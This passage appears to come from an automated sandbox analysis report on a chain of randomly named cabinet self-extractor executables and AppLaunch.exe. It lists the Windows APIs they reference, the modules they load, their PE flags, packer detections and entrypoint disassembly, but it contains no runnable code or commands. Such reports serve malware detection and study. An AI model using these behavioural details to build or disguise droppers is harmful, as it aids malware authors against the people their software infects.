"00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")38:T6de,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "file") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "file") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "file") Found reference to API "LockResource" (Indicator: "LockResource"; File: "file") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "file") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")39:T70e,Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp")3a:T75e,"file" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ZM6QY65.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Wt6LG75.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4Sq071Or.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2NJ9351.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Yf6UX21.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1oh97OL0.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "NS0zj81.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "NH5Ot82.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5og8kJ2.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "6Hy6xt9.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT3b:T2826,"file.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "file.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "file.exe" loaded module "KERNEL32" at base 75a60000 "file.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "file.exe" loaded module "KERNEL32.DLL" at base 75a60000 "file.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76a00000 "file.exe" loaded module "FECLIENT.DLL" at base 72840000 "file.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72810000 "file.exe" loaded module "NTDLL.DLL" at base 76ea0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "ZM6QY65.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "ZM6QY65.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "ZM6QY65.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "ZM6QY65.exe" loaded module "KERNEL32" at base 75a60000 "ZM6QY65.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "ZM6QY65.exe" loaded module "KERNEL32.DLL" at base 75a60000 "ZM6QY65.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76a00000 "ZM6QY65.exe" loaded module "FECLIENT.DLL" at base 72840000 "ZM6QY65.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72810000 "ZM6QY65.exe" loaded module "NTDLL.DLL" at base 76ea0000 "ZM6QY65.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "Wt6LG75.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "Wt6LG75.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "Wt6LG75.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "Wt6LG75.exe" loaded module "KERNEL32" at base 75a60000 "Wt6LG75.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "Wt6LG75.exe" loaded module "KERNEL32.DLL" at base 75a60000 "Wt6LG75.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76a00000 "Wt6LG75.exe" loaded module "FECLIENT.DLL" at base 72840000 "Wt6LG75.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72810000 "Wt6LG75.exe" loaded module "NTDLL.DLL" at base 76ea0000 "Wt6LG75.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "Yf6UX21.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "Yf6UX21.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "Yf6UX21.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "Yf6UX21.exe" loaded module "KERNEL32" at base 75a60000 "Yf6UX21.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "Yf6UX21.exe" loaded module "KERNEL32.DLL" at base 75a60000 "Yf6UX21.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76a00000 "Yf6UX21.exe" loaded module "FECLIENT.DLL" at base 72840000 "Yf6UX21.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72810000 "Yf6UX21.exe" loaded module "NTDLL.DLL" at base 76ea0000 "Yf6UX21.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "NS0zj81.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "NS0zj81.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "NS0zj81.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "NS0zj81.exe" loaded module "KERNEL32" at base 75a60000 "NS0zj81.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "NS0zj81.exe" loaded module "KERNEL32.DLL" at base 75a60000 "NS0zj81.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76a00000 "NS0zj81.exe" loaded module "FECLIENT.DLL" at base 72840000 "NS0zj81.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72810000 "NS0zj81.exe" loaded module "NTDLL.DLL" at base 76ea0000 "NS0zj81.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "NH5Ot82.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "NH5Ot82.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "NH5Ot82.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "NH5Ot82.exe" loaded module "KERNEL32" at base 75a60000 "NH5Ot82.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "NH5Ot82.exe" loaded module "KERNEL32.DLL" at base 75a60000 "NH5Ot82.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76a00000 "NH5Ot82.exe" loaded module "FECLIENT.DLL" at base 72840000 "NH5Ot82.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72810000 "NH5Ot82.exe" loaded module "NTDLL.DLL" at base 76ea0000 "NH5Ot82.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "1oh97OL0.exe" loaded module "KERNEL32" at base 75a60000 "1oh97OL0.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a80000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76a80000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a80000 "1oh97OL0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76a80000 "1oh97OL0.exe" loaded module "NTDLL.DLL" at base 76ea0000 "1oh97OL0.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "1oh97OL0.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 745b0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "AppLaunch.exe" loaded module "KERNEL32" at base 75a60000 "AppLaunch.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 76a00000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72750000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 73cd0000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 745b0000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 735f0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71fa0000 "AppLaunch.exe" loaded module "USER32.DLL" at base 73b50000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76a80000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 727e0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75b30000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 76700000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 75a60000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 6ffc0000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 76450000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 765a0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75b30000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76a80000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 71e40000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f560000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 738c0000 "AppLaunch.exe" loaded module "ADVAPI32" at base 76a00000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 76ea0000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "2NJ9351.exe" loaded module "KERNEL32" at base 75a60000 "2NJ9351.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a80000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76a80000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76a80000 "2NJ9351.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76a80000 "2NJ9351.exe" loaded module "NTDLL.DLL" at base 76ea0000 "2NJ9351.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73810000 "2NJ9351.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 745b0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76a80000 "AppLaunch.exe" loaded module "WININET.DLL" at base 71b70000 "AppLaunch.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 71930000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 71880000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 71930000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 732a0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 74010000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 745b0000 "3xL71Vc.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76a80000 "3xL71Vc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76a80000 "3xL71Vc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76a80000 "3xL71Vc.exe" loaded module "KERNEL32" at base 75a60000 "3xL71Vc.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 728c0000 "3xL71Vc.exe" loaded module "USER32" at base 73b50000 "3xL71Vc.exe" loaded module "ADVAPI32" at base 76a00000 "3xL71Vc.exe" loaded module "SHELL32" at base 747200003c:T602,"file.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "file.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "ZM6QY65.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "ZM6QY65.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "Wt6LG75.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "Wt6LG75.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "Yf6UX21.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "Yf6UX21.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "NS0zj81.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "NS0zj81.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "NH5Ot82.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "NH5Ot82.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "1oh97OL0.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "1oh97OL0.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "2NJ9351.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "2NJ9351.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE0000 "3xL71Vc.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 766A0000 "3xL71Vc.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72BE00003d:T12e8,"file" was detected as "Microsoft Cabinet" and name: "sfx" "file" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Cabinet File" and name: "Archive" "file" was detected as "Microsoft Linker" and name: "Linker" "ZM6QY65.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ZM6QY65.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ZM6QY65.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ZM6QY65.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ZM6QY65.exe" was detected as "Microsoft Linker" and name: "Linker" "Wt6LG75.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Wt6LG75.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Wt6LG75.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Wt6LG75.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Wt6LG75.exe" was detected as "Microsoft Linker" and name: "Linker" "4Sq071Or.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4Sq071Or.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4Sq071Or.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4Sq071Or.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4Sq071Or.exe" was detected as "Microsoft Linker" and name: "Linker" "2NJ9351.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2NJ9351.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2NJ9351.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2NJ9351.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2NJ9351.exe" was detected as "Microsoft Linker" and name: "Linker" "Yf6UX21.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Yf6UX21.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Yf6UX21.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Yf6UX21.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Yf6UX21.exe" was detected as "Microsoft Linker" and name: "Linker" "1oh97OL0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1oh97OL0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1oh97OL0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1oh97OL0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1oh97OL0.exe" was detected as "Microsoft Linker" and name: "Linker" "NS0zj81.exe" was detected as "Microsoft Cabinet" and name: "sfx" "NS0zj81.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "NS0zj81.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "NS0zj81.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "NS0zj81.exe" was detected as "Microsoft Linker" and name: "Linker" "NH5Ot82.exe" was detected as "Microsoft Cabinet" and name: "sfx" "NH5Ot82.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "NH5Ot82.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "NH5Ot82.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "NH5Ot82.exe" was detected as "Microsoft Linker" and name: "Linker" "5og8kJ2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5og8kJ2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5og8kJ2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5og8kJ2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5og8kJ2.exe" was detected as "Microsoft Linker" and name: "Linker" "6Hy6xt9.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6Hy6xt9.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6Hy6xt9.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6Hy6xt9.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6Hy6xt9.exe" was detected as "Microsoft Linker" and name: "Linker" "7Us0xM51.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7Us0xM51.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7Us0xM51.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7Us0xM51.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7Us0xM51.exe" was detected as "Microsoft Linker" and name: "Linker" "3xL71Vc.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3xL71Vc.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3xL71Vc.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3xL71Vc.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3xL71Vc.exe" was detected as "Microsoft Linker" and name: "Linker"3e:T199b,"file" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "ZM6QY65.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Wt6LG75.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4Sq071Or.exe" file has an 